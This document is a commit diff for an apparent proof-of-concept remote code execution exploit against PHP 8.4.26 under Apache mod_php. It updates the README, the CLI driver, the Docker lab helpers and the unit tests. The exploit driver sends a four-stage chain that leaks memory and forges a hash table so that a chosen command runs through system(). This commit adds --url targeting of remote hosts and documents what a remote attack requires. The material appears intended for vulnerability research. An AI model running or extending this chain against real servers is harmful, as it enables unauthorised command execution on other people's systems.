feat(cli): split lab lifecycle from exploitation, add --url/--path targets, socket readiness probe
This commit is contained in:
@@ -237,4 +237,22 @@ easy to get wrong:
|
||||
- The `lab/*.sh` files are thin shims (`exec python -m poc …`), so there is one implementation
|
||||
rather than a shell copy and a Python copy that drift apart.
|
||||
|
||||
## 12. Readiness probe — socket, not `urllib`
|
||||
|
||||
`docker run -d` returns before the port is forwarded. The first version of the readiness wait used
|
||||
`urllib.request.urlopen("http://127.0.0.1:<port>/index.php")` and intermittently polled for
|
||||
**4 minutes** before giving up, while a plain `socket.create_connection` reached the same port
|
||||
0.5 s after `docker run`. There is no proxy in the environment (`getproxies()` is empty), so the
|
||||
difference is `urllib`'s own machinery. The probe is now a raw socket GET whose read loop stops at
|
||||
the header terminator, with `attempts=120, delay=0.25, timeout=1.0` and a 200-status check.
|
||||
|
||||
Two rules that follow:
|
||||
|
||||
- Anything the exploit path does to the target should go through the same raw-socket layer the
|
||||
chain uses; mixing an HTTP client library into the control plane adds failure modes that look
|
||||
like "the target is broken".
|
||||
- A readiness loop must be tested against a real local listener (`tests/test_lab_ready.py` runs a
|
||||
throwaway socket server and asserts 200 → body, non-200 → None, closed port → fast None).
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -96,25 +96,24 @@ cat out/p1
|
||||
Step by step, if you want to see each stage:
|
||||
|
||||
```bash
|
||||
./lab/up.sh # or: python -m poc lab --up-only
|
||||
./lab/up.sh # or: python -m poc lab up
|
||||
python -m poc check # version, ini, libphp hash, profile, worker count
|
||||
python -m poc leak # A1 + B1 only: the disclosure
|
||||
python -m poc exploit # A1 -> B1 -> A2 -> B2 -> proof file
|
||||
python -m poc status # container diagnostics
|
||||
python -m poc lab --down # or: ./lab/down.sh
|
||||
python -m poc status # or: python -m poc lab status
|
||||
./lab/down.sh # or: python -m poc lab down
|
||||
```
|
||||
|
||||
One command does the whole flow:
|
||||
|
||||
```bash
|
||||
python -m poc lab # brings the container up, checks it, runs the chain
|
||||
```
|
||||
The lab and the exploit are deliberately separate commands: `poc lab` only manages the
|
||||
container, `poc check` only reads the target's configuration, and `poc exploit` only sends the
|
||||
chain. Nothing is chained implicitly, so you can point `poc exploit` at a target someone else
|
||||
started. `poc exploit` refuses to run when nothing is listening and tells you to start a lab.
|
||||
|
||||
## CLI
|
||||
|
||||
| Command | Purpose |
|
||||
|---|---|
|
||||
| `poc lab` | bring the target up, then `check`, then `exploit`. `--up-only` stops after the check; `--down` removes the container; `--image` / `--net` override the target |
|
||||
| `poc lab [up\|down\|status]` | container lifecycle only — no exploitation. `up` (default) recreates the target and waits until it answers; `down` removes it; `status` dumps diagnostics. `--image`, `--name`, `--port`, `--net` override the target |
|
||||
| `poc check` | preflight: php version + vulnerable/patched verdict, nine ini values, `libphp.so` sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic. |
|
||||
| `poc status` | container diagnostics: php/apache version, the nine ini values, libphp sha256, worker count |
|
||||
| `poc offsets --lib PATH` | derive `zval_ptr_dtor`, `zif_system`, `zif_passthru` from an ELF `.symtab`/`.dynsym` |
|
||||
@@ -129,6 +128,45 @@ All commands accept `--host --port --name --profile --workers --json`. `--worker
|
||||
wrappers keep the old `IMAGE=… NAME=… ./lab/up.sh` idiom working), and the equivalent flags
|
||||
(`--image --name --port --net`) are the portable form.
|
||||
|
||||
## Targeting a URL or a remote host
|
||||
|
||||
`poc exploit` and `poc leak` accept a URL instead of host/port:
|
||||
|
||||
```bash
|
||||
python -m poc exploit --url http://127.0.0.1:18110
|
||||
python -m poc exploit --url http://10.0.0.5:8080/app/index.php
|
||||
python -m poc leak --url http://lab.internal --save leak.resp
|
||||
```
|
||||
|
||||
`--url` fills in host, port (default 80) and the request path (default `/index.php`); `--host`,
|
||||
`--port` and `--path` override it. **`http://` only** — the wire layer speaks raw HTTP on a
|
||||
socket, so TLS is refused rather than silently downgraded.
|
||||
|
||||
Only point this at a host you own or have written authorisation to test. There is no scanning,
|
||||
no target list, no threading: one URL, one chain, and the proof lands in the mounted `out/`
|
||||
directory, so a remote target needs a way for you to read that file (or `--cmd` with an
|
||||
out-of-band effect you can observe).
|
||||
|
||||
A URL is not sufficient on its own for the chain to work. The technical preconditions are:
|
||||
|
||||
- **Apache mod_php.** The vulnerability's confirmed path depends on mod_php running request
|
||||
shutdown even when startup failed. FPM, FrankenPHP and LSAPI are not covered here.
|
||||
- **All four requests must hit the same prefork child.** Behind a load balancer, a CDN, or a
|
||||
multi-worker pool without pinning, the dangling pointers do not survive. Locally `--workers`
|
||||
occupies `N-1` children; you cannot do that to someone else's server, so target pools must be
|
||||
small (ideally one worker) or the chain has to be retried a lot.
|
||||
- **The build must match a profile.** `s_delta`, `hsv_delta`, the destructor offset and the
|
||||
fingerprint counts are per-`libphp.so`. `poc check` and `poc status` work by `docker exec`, so
|
||||
they only apply to the local container — for a remote host, obtain its `libphp.so`, verify the
|
||||
SHA-256, run `python -m poc offsets --lib <file>` and add a profile keyed by that hash before
|
||||
expecting the write primitive to land.
|
||||
- **Default input limits.** `memory_limit=128M`, `post_max_size=8M`, `output_buffering=0` and
|
||||
`session.upload_progress.enabled=On` are what the OOM stages were calibrated against.
|
||||
|
||||
In other words: a URL is convenient for your own lab published on a LAN or in a cloud network,
|
||||
not a general-purpose remote exploit.
|
||||
|
||||
|
||||
|
||||
## Status — what was verified, and how
|
||||
|
||||
@@ -138,13 +176,13 @@ Every row below is a command that was actually run in this environment, with its
|
||||
|---|---|---|
|
||||
| Lab build identity | `python -m poc check` | PHP 8.4.26 NTS, `libphp.so` sha256 `51663cf8…f4ee679c` = profile; Apache 2.4.69; `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `session.upload_progress.enabled=On`; 1 worker |
|
||||
| Symbol offsets | `python -m poc offsets --lib research/libphp.so` | `zval_ptr_dtor=0x65eb60`, `zif_system=0x465370` — matches the profile |
|
||||
| Offline suite | `python -m unittest discover -s tests -t .` | 45 tests, all pass, 0 skipped |
|
||||
| Offline suite | `python -m unittest discover -s tests -t .` | 61 tests, all pass, 0 skipped |
|
||||
| Body parity | `tests/test_bodies_parity.py` | A1/A2/B1 SHA-256 identical to the reference generators (`8e8fc166…`, `7af66c8f…`, `b6c547e0…`) |
|
||||
| Stage 1–2 (disclosure) | `python -m poc leak` | A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; `zval_ptr_dtor` ×1095; `libphp − main` in range; main-chunk fingerprint count 87 |
|
||||
| Stage 3–4 (RCE) | `python -m poc exploit` | `[4/4] … RCE OK`, `out/p1` contains `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; exit 0 |
|
||||
| Reproducibility | 3 fresh containers, one run each | 3/3 `uid=33(www-data)` |
|
||||
| Windows shell independence | `python -m poc lab` from PowerShell with a stock `PATH` where `bash` resolves to `C:\Windows\System32\bash.exe` (WSL) | exit 0, proof written — the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it |
|
||||
| Specificity | `IMAGE=php:8.4.27-apache …` then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** |
|
||||
| Windows shell independence | `python -m poc lab up` + `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to `C:\Windows\System32\bash.exe` (WSL) | exit 0, proof written — the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it |
|
||||
| Specificity | `poc lab up --image php:8.4.27-apache` then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** |
|
||||
| Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe |
|
||||
|
||||
The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not
|
||||
|
||||
+1
-1
@@ -6,4 +6,4 @@ PY=${PYTHON:-}
|
||||
if [ -z "$PY" ]; then
|
||||
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
|
||||
fi
|
||||
exec "$PY" -m poc lab --down "$@"
|
||||
exec "$PY" -m poc lab down "$@"
|
||||
|
||||
+1
-1
@@ -6,4 +6,4 @@ PY=${PYTHON:-}
|
||||
if [ -z "$PY" ]; then
|
||||
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
|
||||
fi
|
||||
exec "$PY" -m poc status "$@"
|
||||
exec "$PY" -m poc lab status "$@"
|
||||
|
||||
@@ -6,4 +6,4 @@ PY=${PYTHON:-}
|
||||
if [ -z "$PY" ]; then
|
||||
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
|
||||
fi
|
||||
exec "$PY" -m poc lab --up-only "$@"
|
||||
exec "$PY" -m poc lab up "$@"
|
||||
|
||||
+91
-40
@@ -2,9 +2,11 @@ import argparse
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import urllib.parse
|
||||
|
||||
from poc import bodies, elf, forge, lab, leak, profiles, wire
|
||||
|
||||
@@ -91,15 +93,16 @@ def cmd_check(args):
|
||||
|
||||
def run_leak(args, prof, save=""):
|
||||
host, port = args.host, args.port
|
||||
held = wire.hold_workers(host, port, args.workers - 1, path=prof["path"])
|
||||
path, warm_path = target_paths(args, prof)
|
||||
held = wire.hold_workers(host, port, args.workers - 1, path=path)
|
||||
try:
|
||||
wire.warm(host, port, prof["path"])
|
||||
wire.warm(host, port, path)
|
||||
a1 = bodies.build_a1(prof["a1"])
|
||||
r1 = wire.send(host, port, wire.frame_chunked(prof["warm_path"], a1, "%s:%d" % (host, port)),
|
||||
r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout)
|
||||
a1_status = wire.status(r1)
|
||||
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
|
||||
r2 = wire.send(host, port, wire.frame_chunked(prof["path"], b1, "%s:%d" % (host, port)),
|
||||
r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout)
|
||||
if save:
|
||||
with open(save, "wb") as fh:
|
||||
@@ -118,6 +121,8 @@ def run_leak(args, prof, save=""):
|
||||
|
||||
|
||||
def cmd_leak(args):
|
||||
if not require_target(args.host, args.port):
|
||||
return 1
|
||||
prof = profile_or_die(args)
|
||||
info = run_leak(args, prof, args.save)
|
||||
if args.json:
|
||||
@@ -151,18 +156,19 @@ def exploit_once(args, prof):
|
||||
if os.path.exists(proof_path):
|
||||
os.remove(proof_path)
|
||||
|
||||
held = wire.hold_workers(host, port, args.workers - 1, path=prof["path"])
|
||||
path, warm_path = target_paths(args, prof)
|
||||
held = wire.hold_workers(host, port, args.workers - 1, path=path)
|
||||
try:
|
||||
wire.warm(host, port, prof["path"])
|
||||
wire.warm(host, port, path)
|
||||
|
||||
a1 = bodies.build_a1(prof["a1"])
|
||||
r1 = wire.send(host, port, wire.frame_chunked(prof["warm_path"], a1, "%s:%d" % (host, port)),
|
||||
r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout)
|
||||
print("[1/4] A1 oom status=%s" % wire.status(r1))
|
||||
time.sleep(0.2)
|
||||
|
||||
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
|
||||
r2 = wire.send(host, port, wire.frame_chunked(prof["path"], b1, "%s:%d" % (host, port)),
|
||||
r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout)
|
||||
raw = wire.cookie(r2, b"PHPSESSID")
|
||||
if raw is None:
|
||||
@@ -176,14 +182,14 @@ def exploit_once(args, prof):
|
||||
s_addr = info["main"] + prof["s_delta"]
|
||||
zif = info["lib"] + prof["zif_offset"]
|
||||
a2 = bodies.build_a2(prof["a2"])
|
||||
r3 = wire.send(host, port, wire.frame_plain(prof["path"], a2, "%s:%d" % (host, port)),
|
||||
r3 = wire.send(host, port, wire.frame_plain(path, a2, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout)
|
||||
print("[3/4] A2 oom status=%s" % wire.status(r3))
|
||||
time.sleep(0.2)
|
||||
|
||||
ht = forge.build_ht(s_addr, zif, args.cmd.encode())
|
||||
b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht)
|
||||
r4 = wire.send(host, port, wire.frame_plain(prof["path"], b2, "%s:%d" % (host, port)),
|
||||
r4 = wire.send(host, port, wire.frame_plain(path, b2, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout)
|
||||
print("[4/4] B2 forge S=%#x zif_system=%#x status=%s" %
|
||||
(s_addr, zif, wire.status(r4)))
|
||||
@@ -205,6 +211,8 @@ def exploit_once(args, prof):
|
||||
|
||||
def cmd_exploit(args):
|
||||
prof = profile_or_die(args)
|
||||
if not args.dry_run and not require_target(args.host, args.port):
|
||||
return 1
|
||||
if args.dry_run:
|
||||
s_addr = 0x7D2700000000 + prof["s_delta"]
|
||||
zif = 0x7D27FE200000 + prof["zif_offset"]
|
||||
@@ -245,36 +253,78 @@ def cmd_exploit(args):
|
||||
return last
|
||||
|
||||
|
||||
def resolve_target(args):
|
||||
url = getattr(args, "url", "")
|
||||
if url:
|
||||
parts = urllib.parse.urlsplit(url)
|
||||
if parts.scheme and parts.scheme != "http":
|
||||
print("only http:// is supported: the wire layer speaks raw HTTP, TLS is out of scope",
|
||||
file=sys.stderr)
|
||||
raise SystemExit(2)
|
||||
if not parts.hostname:
|
||||
print("--url carries no host", file=sys.stderr)
|
||||
raise SystemExit(2)
|
||||
if args.host is None:
|
||||
args.host = parts.hostname
|
||||
if args.port is None:
|
||||
args.port = parts.port or 80
|
||||
if not args.path:
|
||||
args.path = parts.path or "/index.php"
|
||||
if args.host is None:
|
||||
args.host = "127.0.0.1"
|
||||
if args.port is None:
|
||||
args.port = 18110
|
||||
if args.path is None:
|
||||
args.path = ""
|
||||
return args
|
||||
|
||||
|
||||
def target_paths(args, prof):
|
||||
path = args.path or prof["path"]
|
||||
warm = prof["warm_path"]
|
||||
query = warm.split("?", 1)[1] if "?" in warm else ""
|
||||
return path, (path + "?" + query if query else path)
|
||||
|
||||
|
||||
def require_target(host, port):
|
||||
try:
|
||||
sock = socket.create_connection((host, port), timeout=3)
|
||||
sock.close()
|
||||
return True
|
||||
except OSError:
|
||||
print("cannot connect to %s:%d — no target listening" % (host, port), file=sys.stderr)
|
||||
print("start one first: python -m poc lab up", file=sys.stderr)
|
||||
return False
|
||||
|
||||
|
||||
def cmd_lab(args):
|
||||
image = args.image or os.environ.get("IMAGE") or "php:8.4.26-apache"
|
||||
action = args.action
|
||||
name = args.name or os.environ.get("NAME") or "p2s-lab"
|
||||
port = args.port or int(os.environ.get("PORT") or 18110)
|
||||
image = args.image or os.environ.get("IMAGE") or "php:8.4.26-apache"
|
||||
net = args.net or os.environ.get("NET") or ""
|
||||
try:
|
||||
if args.down:
|
||||
lab.down(name)
|
||||
print("down")
|
||||
return 0
|
||||
body = lab.up(ROOT, image, name, port, net, args.host)
|
||||
print("target: %s" % body)
|
||||
except lab.LabError as exc:
|
||||
print(str(exc), file=sys.stderr)
|
||||
print("lab up failed", file=sys.stderr)
|
||||
return 1
|
||||
args.name = name
|
||||
args.port = port
|
||||
code = cmd_check(args)
|
||||
if code != 0:
|
||||
print("target not ready", file=sys.stderr)
|
||||
return code
|
||||
if getattr(args, "up_only", False):
|
||||
return 0
|
||||
return cmd_exploit(args)
|
||||
if action == "status":
|
||||
return cmd_status(args)
|
||||
try:
|
||||
if action == "down":
|
||||
lab.down(name)
|
||||
print("down %s" % name)
|
||||
return 0
|
||||
body = lab.up(ROOT, image, name, port, net, args.host)
|
||||
except lab.LabError as exc:
|
||||
print(str(exc), file=sys.stderr)
|
||||
return 1
|
||||
print("target: %s" % body)
|
||||
print("next: python -m poc check --name %s --port %d" % (name, port))
|
||||
print(" python -m poc exploit --port %d" % port)
|
||||
return 0
|
||||
|
||||
|
||||
def cmd_status(args):
|
||||
try:
|
||||
rows = lab.status(ROOT, args.name, args.lib_path)
|
||||
rows = lab.status(args.name, args.lib_path)
|
||||
except lab.LabError as exc:
|
||||
print(str(exc), file=sys.stderr)
|
||||
return 1
|
||||
@@ -321,8 +371,8 @@ def build_parser():
|
||||
sub = ap.add_subparsers(dest="cmd", required=True)
|
||||
|
||||
def common(p):
|
||||
p.add_argument("--host", default="127.0.0.1")
|
||||
p.add_argument("--port", type=int, default=18110)
|
||||
p.add_argument("--host", default=None)
|
||||
p.add_argument("--port", type=int, default=None)
|
||||
p.add_argument("--name", default="p2s-lab")
|
||||
p.add_argument("--lib-path", default="/usr/lib/apache2/modules/libphp.so")
|
||||
p.add_argument("--profile", default="")
|
||||
@@ -336,28 +386,27 @@ def build_parser():
|
||||
|
||||
p = sub.add_parser("leak")
|
||||
common(p)
|
||||
p.add_argument("--url", default="")
|
||||
p.add_argument("--path", default="")
|
||||
p.add_argument("--save", default="")
|
||||
p.set_defaults(func=cmd_leak)
|
||||
p.set_defaults(func=cmd_leak, resolve=True)
|
||||
|
||||
p = sub.add_parser("exploit")
|
||||
common(p)
|
||||
p.add_argument("--url", default="")
|
||||
p.add_argument("--path", default="")
|
||||
p.add_argument("--cmd", default="id>/out/p1")
|
||||
p.add_argument("--proof", default=os.path.join(ROOT, "out", "p1"))
|
||||
p.add_argument("--dry-run", action="store_true")
|
||||
p.add_argument("--retries", type=int, default=3)
|
||||
p.set_defaults(func=cmd_exploit)
|
||||
p.set_defaults(func=cmd_exploit, resolve=True)
|
||||
|
||||
p = sub.add_parser("lab")
|
||||
common(p)
|
||||
p.set_defaults(name=None, port=None)
|
||||
p.add_argument("action", nargs="?", choices=("up", "down", "status"), default="up")
|
||||
p.add_argument("--image", default="")
|
||||
p.add_argument("--net", default="")
|
||||
p.add_argument("--up-only", action="store_true")
|
||||
p.add_argument("--down", action="store_true")
|
||||
p.add_argument("--cmd", default="id>/out/p1")
|
||||
p.add_argument("--proof", default=os.path.join(ROOT, "out", "p1"))
|
||||
p.add_argument("--dry-run", action="store_true")
|
||||
p.add_argument("--retries", type=int, default=3)
|
||||
p.set_defaults(func=cmd_lab)
|
||||
|
||||
p = sub.add_parser("status")
|
||||
@@ -377,6 +426,8 @@ def build_parser():
|
||||
|
||||
def main(argv=None):
|
||||
args = build_parser().parse_args(argv)
|
||||
if getattr(args, "resolve", False):
|
||||
resolve_target(args)
|
||||
if not args.json:
|
||||
banner()
|
||||
return args.func(args)
|
||||
|
||||
+38
-23
@@ -1,15 +1,17 @@
|
||||
import os
|
||||
import shutil
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
|
||||
INIT = ("cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini\n"
|
||||
"chown -R www-data:www-data /out 2>/dev/null || true\n"
|
||||
"exec apache2-foreground")
|
||||
|
||||
INI_KEYS = {"display_errors", "memory_limit", "post_max_size", "output_buffering",
|
||||
"max_file_uploads", "max_input_vars", "session.upload_progress.enabled",
|
||||
"session.save_handler", "session.serialize_handler"}
|
||||
|
||||
|
||||
class LabError(Exception):
|
||||
pass
|
||||
@@ -57,22 +59,39 @@ def run(args, timeout=300, check=True):
|
||||
return proc
|
||||
|
||||
|
||||
def executable(root, name):
|
||||
def executable(argv, name):
|
||||
exe = docker()
|
||||
cmd = [exe, "exec", name] + root
|
||||
proc = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
|
||||
proc = subprocess.run([exe, "exec", name] + argv,
|
||||
capture_output=True, text=True, timeout=120)
|
||||
return proc.stdout
|
||||
|
||||
|
||||
def wait_ready(port, host="127.0.0.1", attempts=60, delay=0.5):
|
||||
url = "http://%s:%d/index.php" % (host, port)
|
||||
def _http_get(host, port, path="/index.php", timeout=1.0):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
try:
|
||||
request = ("GET %s HTTP/1.0\r\nHost: %s\r\n\r\n" % (path, host)).encode()
|
||||
sock.sendall(request)
|
||||
data = b""
|
||||
while b"\r\n\r\n" not in data:
|
||||
chunk = sock.recv(1024)
|
||||
if not chunk:
|
||||
break
|
||||
data += chunk
|
||||
finally:
|
||||
sock.close()
|
||||
head, _, body = data.partition(b"\r\n\r\n")
|
||||
return head, body
|
||||
|
||||
|
||||
def wait_ready(port, host="127.0.0.1", attempts=120, delay=0.25):
|
||||
for _ in range(attempts):
|
||||
try:
|
||||
with urllib.request.urlopen(url, timeout=2) as resp:
|
||||
body = resp.read().decode("latin1").strip()
|
||||
return body
|
||||
except (urllib.error.URLError, OSError):
|
||||
time.sleep(delay)
|
||||
head, body = _http_get(host, port)
|
||||
if b" 200" in head:
|
||||
return body.decode("latin1").strip()
|
||||
except OSError:
|
||||
pass
|
||||
time.sleep(delay)
|
||||
return None
|
||||
|
||||
|
||||
@@ -85,7 +104,8 @@ def up(root, image, name, port, net="", host="127.0.0.1"):
|
||||
body = wait_ready(port, host)
|
||||
if body is None:
|
||||
logs = run(["logs", "--tail", "20", name], check=False)
|
||||
raise LabError("target did not become ready on port %d\n%s" % (port, logs.stdout + logs.stderr))
|
||||
raise LabError("target did not answer on %s:%d within %.0fs\n%s"
|
||||
% (host, port, 120 * 0.25, (logs.stdout or "") + (logs.stderr or "")))
|
||||
return body
|
||||
|
||||
|
||||
@@ -94,23 +114,18 @@ def down(name):
|
||||
return True
|
||||
|
||||
|
||||
def status(root, name, lib_path):
|
||||
def status(name, lib_path):
|
||||
rows = []
|
||||
ver = executable(["php", "-v"], name).splitlines()
|
||||
rows.append(("php", ver[0] if ver else "?"))
|
||||
info = executable(["php", "-i"], name)
|
||||
keep = {"display_errors", "memory_limit", "post_max_size", "output_buffering",
|
||||
"max_file_uploads", "max_input_vars", "session.upload_progress.enabled",
|
||||
"session.save_handler", "session.serialize_handler"}
|
||||
for line in info.splitlines():
|
||||
for line in executable(["php", "-i"], name).splitlines():
|
||||
key, _, val = line.partition("=>")
|
||||
key = key.strip()
|
||||
if key in keep:
|
||||
if key in INI_KEYS:
|
||||
rows.append((key, val.split("=>")[0].strip()))
|
||||
sha = executable(["sha256sum", lib_path], name).split()
|
||||
rows.append(("libphp_sha256", sha[0] if sha else "?"))
|
||||
apache = executable(["apache2", "-v"], name).splitlines()
|
||||
rows.append(("apache", apache[0] if apache else "?"))
|
||||
workers = executable(["sh", "-c", "pgrep -c apache2"], name).strip()
|
||||
rows.append(("workers", workers))
|
||||
rows.append(("workers", executable(["sh", "-c", "pgrep -c apache2"], name).strip()))
|
||||
return rows
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
import unittest
|
||||
|
||||
from poc import cli
|
||||
|
||||
|
||||
def parse(argv):
|
||||
return cli.build_parser().parse_args(argv)
|
||||
|
||||
|
||||
class SeparationTest(unittest.TestCase):
|
||||
def test_lab_defaults_to_up(self):
|
||||
self.assertEqual(parse(["lab"]).action, "up")
|
||||
|
||||
def test_lab_up_status_down(self):
|
||||
for action in ("up", "down", "status"):
|
||||
self.assertEqual(parse(["lab", action]).action, action)
|
||||
|
||||
def test_lab_rejects_unknown_action(self):
|
||||
with self.assertRaises(SystemExit):
|
||||
parse(["lab", "exploit"])
|
||||
|
||||
def test_lab_has_no_exploit_flags(self):
|
||||
ns = parse(["lab", "up"])
|
||||
for flag in ("proof", "retries", "dry_run"):
|
||||
self.assertFalse(hasattr(ns, flag), flag)
|
||||
|
||||
def test_exploit_keeps_its_flags(self):
|
||||
ns = parse(["exploit", "--cmd", "id>/out/x", "--retries", "1"])
|
||||
self.assertEqual(ns.cmd, "id>/out/x")
|
||||
self.assertEqual(ns.retries, 1)
|
||||
|
||||
def test_lab_actions_do_not_run_the_chain(self):
|
||||
ns = parse(["lab", "up"])
|
||||
self.assertIs(ns.func, cli.cmd_lab)
|
||||
|
||||
def test_exploit_and_leak_are_separate_commands(self):
|
||||
self.assertIs(parse(["exploit"]).func, cli.cmd_exploit)
|
||||
self.assertIs(parse(["leak"]).func, cli.cmd_leak)
|
||||
self.assertIs(parse(["check"]).func, cli.cmd_check)
|
||||
|
||||
|
||||
class UrlTargetTest(unittest.TestCase):
|
||||
def test_defaults_without_url(self):
|
||||
ns = cli.resolve_target(parse(["exploit"]))
|
||||
self.assertEqual((ns.host, ns.port, ns.path), ("127.0.0.1", 18110, ""))
|
||||
|
||||
def test_url_sets_host_port_and_path(self):
|
||||
ns = cli.resolve_target(parse(["exploit", "--url", "http://10.0.0.5:8080/app/index.php"]))
|
||||
self.assertEqual(ns.host, "10.0.0.5")
|
||||
self.assertEqual(ns.port, 8080)
|
||||
self.assertEqual(ns.path, "/app/index.php")
|
||||
|
||||
def test_url_default_port_80(self):
|
||||
ns = cli.resolve_target(parse(["leak", "--url", "http://lab.internal/index.php"]))
|
||||
self.assertEqual(ns.port, 80)
|
||||
|
||||
def test_url_root_path_defaults(self):
|
||||
ns = cli.resolve_target(parse(["leak", "--url", "http://lab.internal:9000"]))
|
||||
self.assertEqual(ns.path, "/index.php")
|
||||
|
||||
def test_https_rejected(self):
|
||||
with self.assertRaises(SystemExit):
|
||||
cli.resolve_target(parse(["exploit", "--url", "https://lab.internal/"]))
|
||||
|
||||
def test_explicit_flags_win_over_url(self):
|
||||
ns = cli.resolve_target(parse(["exploit", "--url", "http://a:1/x.php", "--port", "7000"]))
|
||||
self.assertEqual(ns.port, 7000)
|
||||
@@ -0,0 +1,52 @@
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
import unittest
|
||||
|
||||
from poc import lab
|
||||
|
||||
|
||||
class WaitReadyTest(unittest.TestCase):
|
||||
def _serve(self, payload):
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server.bind(("127.0.0.1", 0))
|
||||
server.listen(8)
|
||||
port = server.getsockname()[1]
|
||||
stop = threading.Event()
|
||||
|
||||
def loop():
|
||||
server.settimeout(0.2)
|
||||
while not stop.is_set():
|
||||
try:
|
||||
conn, _ = server.accept()
|
||||
except OSError:
|
||||
continue
|
||||
try:
|
||||
conn.recv(1024)
|
||||
conn.sendall(payload)
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
thread = threading.Thread(target=loop, daemon=True)
|
||||
thread.start()
|
||||
self.addCleanup(stop.set)
|
||||
self.addCleanup(server.close)
|
||||
return port
|
||||
|
||||
def test_returns_body_when_200(self):
|
||||
port = self._serve(b"HTTP/1.0 200 OK\r\nContent-Length: 3\r\n\r\nOK\n")
|
||||
self.assertEqual(lab.wait_ready(port, attempts=10), "OK")
|
||||
|
||||
def test_none_when_not_listening(self):
|
||||
dropped = socket.socket()
|
||||
dropped.bind(("127.0.0.1", 0))
|
||||
port = dropped.getsockname()[1]
|
||||
dropped.close()
|
||||
started = time.time()
|
||||
self.assertIsNone(lab.wait_ready(port, attempts=3, delay=0.01))
|
||||
self.assertLess(time.time() - started, 5)
|
||||
|
||||
def test_ignores_non_200(self):
|
||||
port = self._serve(b"HTTP/1.0 503 Nope\r\n\r\nbusy")
|
||||
self.assertIsNone(lab.wait_ready(port, attempts=2, delay=0.01))
|
||||
Reference in New Issue
Block a user